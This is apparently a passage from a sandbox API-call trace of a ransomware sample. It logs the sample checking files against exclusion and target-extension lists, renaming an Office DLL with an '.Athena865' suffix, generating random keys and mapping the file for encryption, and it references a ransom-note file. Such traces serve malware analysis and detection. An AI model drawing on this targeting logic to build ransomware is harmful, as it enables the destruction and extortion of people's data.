lpString2="rpd") returned -1 [0078.641] lstrlenW (lpString="rsd") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0078.641] lstrlenW (lpString="sas7bdat") returned 8 [0078.641] lstrcmpiW (lpString1="0009.dll", lpString2="sas7bdat") returned -1 [0078.641] lstrlenW (lpString="sbf") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0078.641] lstrlenW (lpString="scx") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0078.641] lstrlenW (lpString="sdb") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0078.642] lstrlenW (lpString="sdc") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0078.642] lstrlenW (lpString="sdf") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0078.642] lstrlenW (lpString="sis") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0078.642] lstrlenW (lpString="spq") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0078.642] lstrlenW (lpString="te") returned 2 [0078.642] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0078.642] lstrlenW (lpString="teacher") returned 7 [0078.642] lstrcmpiW (lpString1="009.dll", lpString2="teacher") returned -1 [0078.642] lstrlenW (lpString="tmd") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0078.642] lstrlenW (lpString="tps") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0078.642] lstrlenW (lpString="trc") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0078.642] lstrlenW (lpString="trc") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0078.642] lstrlenW (lpString="trm") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0078.642] lstrlenW (lpString="udb") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0078.642] lstrlenW (lpString="udl") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0078.642] lstrlenW (lpString="usr") returned 3 [0078.642] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0078.643] lstrlenW (lpString="v12") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0078.643] lstrlenW (lpString="vis") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0078.643] lstrlenW (lpString="vpd") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0078.643] lstrlenW (lpString="vvv") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0078.643] lstrlenW (lpString="wdb") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0078.643] lstrlenW (lpString="wmdb") returned 4 [0078.643] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0078.643] lstrlenW (lpString="wrk") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0078.643] lstrlenW (lpString="xdb") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0078.643] lstrlenW (lpString="xld") returned 3 [0078.643] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0078.643] lstrlenW (lpString="xmlff") returned 5 [0078.643] lstrcmpiW (lpString1="9.dll", lpString2="xmlff") returned -1 [0078.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.Athena865") returned 70 [0078.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll.athena865"), dwFlags=0x1) returned 1 [0078.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.649] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5807024) returned 1 [0078.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.649] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.650] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.650] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.650] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x589eb0, lpName=0x0) returned 0x17c [0078.652] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x189eb0) returned 0x2d50000 [0078.713] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0078.787] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0078.805] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.806] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.806] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.807] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.821] CloseHandle (hObject=0x17c) returned 1 [0078.821] CloseHandle (hObject=0x154) returned 1 [0078.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0078.830] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.830] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2=".") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="..") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="windows") returned -1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="bootmgr") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="temp") returned -1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="pagefile.sys") returned -1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="boot") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="ids.txt") returned 1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="ntuser.dat") returned -1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="perflogs") returned -1 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2="MSBuild") returned 1 [0078.831] lstrlenW (lpString="NL7MODELS000A.dll") returned 17 [0078.831] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7MODELS000A.dll" | out: lpString1="NL7MODELS000A.dll") returned="NL7MODELS000A.dll" [0078.831] lstrlenW (lpString="NL7MODELS000A.dll") returned 17 [0078.831] lstrlenW (lpString="Athena865") returned 9 [0078.831] lstrcmpiW (lpString1="S000A.dll", lpString2="Athena865") returned 1 [0078.831] lstrlenW (lpString=".dll") returned 4 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2=".dll") returned 1 [0078.831] lstrlenW (lpString=".lnk") returned 4 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2=".lnk") returned 1 [0078.831] lstrlenW (lpString=".ini") returned 4 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2=".ini") returned 1 [0078.831] lstrlenW (lpString=".sys") returned 4 [0078.831] lstrcmpiW (lpString1="NL7MODELS000A.dll", lpString2=".sys") returned 1 [0078.831] lstrlenW (lpString="NL7MODELS000A.dll") returned 17 [0078.831] lstrlenW (lpString="bak") returned 3 [0078.831] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0078.831] lstrlenW (lpString="ba_") returned 3 [0078.831] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0078.831] lstrlenW (lpString="dbb") returned 3 [0078.831] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0078.831] lstrlenW (lpString="vmdk") returned 4 [0078.832] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0078.832] lstrlenW (lpString="rar") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0078.832] lstrlenW (lpString="zip") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0078.832] lstrlenW (lpString="tgz") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0078.832] lstrlenW (lpString="vbox") returned 4 [0078.832] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0078.832] lstrlenW (lpString="vdi") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0078.832] lstrlenW (lpString="vhd") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0078.832] lstrlenW (lpString="vhdx") returned 4 [0078.832] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0078.832] lstrlenW (lpString="avhd") returned 4 [0078.832] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0078.832] lstrlenW (lpString="db") returned 2 [0078.832] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0078.832] lstrlenW (lpString="db2") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0078.832] lstrlenW (lpString="db3") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0078.832] lstrlenW (lpString="dbf") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0078.832] lstrlenW (lpString="mdf") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0078.832] lstrlenW (lpString="mdb") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0078.832] lstrlenW (lpString="sql") returned 3 [0078.832] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0078.832] lstrlenW (lpString="sqlite") returned 6 [0078.833] lstrcmpiW (lpString1="0A.dll", lpString2="sqlite") returned -1 [0078.833] lstrlenW (lpString="sqlite3") returned 7 [0078.833] lstrcmpiW (lpString1="00A.dll", lpString2="sqlite3") returned -1 [0078.833] lstrlenW (lpString="sqlitedb") returned 8 [0078.833] lstrcmpiW (lpString1="000A.dll", lpString2="sqlitedb") returned -1 [0078.833] lstrlenW (lpString="xml") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0078.833] lstrlenW (lpString="$er") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0078.833] lstrlenW (lpString="4dd") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0078.833] lstrlenW (lpString="4dl") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0078.833] lstrlenW (lpString="^^^") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0078.833] lstrlenW (lpString="abs") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0078.833] lstrlenW (lpString="abx") returned 3 [0078.833] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0078.833] lstrlenW (lpString="accdb") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accdb") returned -1 [0078.833] lstrlenW (lpString="accdc") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accdc") returned -1 [0078.833] lstrlenW (lpString="accde") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accde") returned -1 [0078.833] lstrlenW (lpString="accdr") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accdr") returned -1 [0078.833] lstrlenW (lpString="accdt") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accdt") returned -1 [0078.833] lstrlenW (lpString="accdw") returned 5 [0078.833] lstrcmpiW (lpString1="A.dll", lpString2="accdw") returned -1 [0078.833] lstrlenW (lpString="accft") returned 5 [0078.834] lstrcmpiW (lpString1="A.dll", lpString2="accft") returned -1 [0078.834] lstrlenW (lpString="adb") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0078.834] lstrlenW (lpString="adb") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0078.834] lstrlenW (lpString="ade") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0078.834] lstrlenW (lpString="adf") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0078.834] lstrlenW (lpString="adn") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0078.834] lstrlenW (lpString="adp") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0078.834] lstrlenW (lpString="alf") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0078.834] lstrlenW (lpString="ask") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0078.834] lstrlenW (lpString="btr") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0078.834] lstrlenW (lpString="cat") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0078.834] lstrlenW (lpString="cdb") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0078.834] lstrlenW (lpString="ckp") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0078.834] lstrlenW (lpString="cma") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0078.834] lstrlenW (lpString="cpd") returned 3 [0078.834] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0078.834] lstrlenW (lpString="dacpac") returned 6 [0078.834] lstrcmpiW (lpString1="0A.dll", lpString2="dacpac") returned -1 [0078.834] lstrlenW (lpString="dad") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0078.835] lstrlenW (lpString="dadiagrams") returned 10 [0078.835] lstrcmpiW (lpString1="LS000A.dll", lpString2="dadiagrams") returned 1 [0078.835] lstrlenW (lpString="daschema") returned 8 [0078.835] lstrcmpiW (lpString1="000A.dll", lpString2="daschema") returned -1 [0078.835] lstrlenW (lpString="db-journal") returned 10 [0078.835] lstrcmpiW (lpString1="LS000A.dll", lpString2="db-journal") returned 1 [0078.835] lstrlenW (lpString="db-shm") returned 6 [0078.835] lstrcmpiW (lpString1="0A.dll", lpString2="db-shm") returned -1 [0078.835] lstrlenW (lpString="db-wal") returned 6 [0078.835] lstrcmpiW (lpString1="0A.dll", lpString2="db-wal") returned -1 [0078.835] lstrlenW (lpString="dbc") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0078.835] lstrlenW (lpString="dbs") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0078.835] lstrlenW (lpString="dbt") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0078.835] lstrlenW (lpString="dbv") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0078.835] lstrlenW (lpString="dbx") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0078.835] lstrlenW (lpString="dcb") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0078.835] lstrlenW (lpString="dct") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0078.835] lstrlenW (lpString="dcx") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0078.835] lstrlenW (lpString="ddl") returned 3 [0078.835] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0078.835] lstrlenW (lpString="dlis") returned 4 [0078.835] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0078.835] lstrlenW (lpString="dp1") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0078.836] lstrlenW (lpString="dqy") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0078.836] lstrlenW (lpString="dsk") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0078.836] lstrlenW (lpString="dsn") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0078.836] lstrlenW (lpString="dtsx") returned 4 [0078.836] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0078.836] lstrlenW (lpString="dxl") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0078.836] lstrlenW (lpString="eco") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0078.836] lstrlenW (lpString="ecx") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0078.836] lstrlenW (lpString="edb") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0078.836] lstrlenW (lpString="epim") returned 4 [0078.836] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0078.836] lstrlenW (lpString="fcd") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0078.836] lstrlenW (lpString="fdb") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0078.836] lstrlenW (lpString="fic") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0078.836] lstrlenW (lpString="flexolibrary") returned 12 [0078.836] lstrcmpiW (lpString1="DELS000A.dll", lpString2="flexolibrary") returned -1 [0078.836] lstrlenW (lpString="fm5") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0078.836] lstrlenW (lpString="fmp") returned 3 [0078.836] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0078.836] lstrlenW (lpString="fmp12") returned 5 [0078.837] lstrcmpiW (lpString1="A.dll", lpString2="fmp12") returned -1 [0078.837] lstrlenW (lpString="fmpsl") returned 5 [0078.837] lstrcmpiW (lpString1="A.dll", lpString2="fmpsl") returned -1 [0078.837] lstrlenW (lpString="fol") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0078.837] lstrlenW (lpString="fp3") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0078.837] lstrlenW (lpString="fp4") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0078.837] lstrlenW (lpString="fp5") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0078.837] lstrlenW (lpString="fp7") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0078.837] lstrlenW (lpString="fpt") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0078.837] lstrlenW (lpString="frm") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0078.837] lstrlenW (lpString="gdb") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0078.837] lstrlenW (lpString="gdb") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0078.837] lstrlenW (lpString="grdb") returned 4 [0078.837] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0078.837] lstrlenW (lpString="gwi") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0078.837] lstrlenW (lpString="hdb") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0078.837] lstrlenW (lpString="his") returned 3 [0078.837] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0078.837] lstrlenW (lpString="ib") returned 2 [0078.837] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0078.837] lstrlenW (lpString="idb") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0078.838] lstrlenW (lpString="ihx") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0078.838] lstrlenW (lpString="itdb") returned 4 [0078.838] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0078.838] lstrlenW (lpString="itw") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0078.838] lstrlenW (lpString="jet") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0078.838] lstrlenW (lpString="jtx") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0078.838] lstrlenW (lpString="kdb") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0078.838] lstrlenW (lpString="kexi") returned 4 [0078.838] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0078.838] lstrlenW (lpString="kexic") returned 5 [0078.838] lstrcmpiW (lpString1="A.dll", lpString2="kexic") returned -1 [0078.838] lstrlenW (lpString="kexis") returned 5 [0078.838] lstrcmpiW (lpString1="A.dll", lpString2="kexis") returned -1 [0078.838] lstrlenW (lpString="lgc") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0078.838] lstrlenW (lpString="lwx") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0078.838] lstrlenW (lpString="maf") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0078.838] lstrlenW (lpString="maq") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0078.838] lstrlenW (lpString="mar") returned 3 [0078.838] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0078.838] lstrlenW (lpString="marshal") returned 7 [0078.838] lstrcmpiW (lpString1="00A.dll", lpString2="marshal") returned -1 [0078.838] lstrlenW (lpString="mas") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0078.839] lstrlenW (lpString="mav") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0078.839] lstrlenW (lpString="maw") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0078.839] lstrlenW (lpString="mdbhtml") returned 7 [0078.839] lstrcmpiW (lpString1="00A.dll", lpString2="mdbhtml") returned -1 [0078.839] lstrlenW (lpString="mdn") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0078.839] lstrlenW (lpString="mdt") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0078.839] lstrlenW (lpString="mfd") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0078.839] lstrlenW (lpString="mpd") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0078.839] lstrlenW (lpString="mrg") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0078.839] lstrlenW (lpString="mud") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0078.839] lstrlenW (lpString="mwb") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0078.839] lstrlenW (lpString="myd") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0078.839] lstrlenW (lpString="ndf") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0078.839] lstrlenW (lpString="nnt") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0078.839] lstrlenW (lpString="nrmlib") returned 6 [0078.839] lstrcmpiW (lpString1="0A.dll", lpString2="nrmlib") returned -1 [0078.839] lstrlenW (lpString="ns2") returned 3 [0078.839] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0078.839] lstrlenW (lpString="ns3") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0078.840] lstrlenW (lpString="ns4") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0078.840] lstrlenW (lpString="nsf") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0078.840] lstrlenW (lpString="nv") returned 2 [0078.840] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0078.840] lstrlenW (lpString="nv2") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0078.840] lstrlenW (lpString="nwdb") returned 4 [0078.840] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0078.840] lstrlenW (lpString="nyf") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0078.840] lstrlenW (lpString="odb") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0078.840] lstrlenW (lpString="odb") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0078.840] lstrlenW (lpString="oqy") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0078.840] lstrlenW (lpString="ora") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0078.840] lstrlenW (lpString="orx") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0078.840] lstrlenW (lpString="owc") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0078.840] lstrlenW (lpString="p96") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0078.840] lstrlenW (lpString="p97") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0078.840] lstrlenW (lpString="pan") returned 3 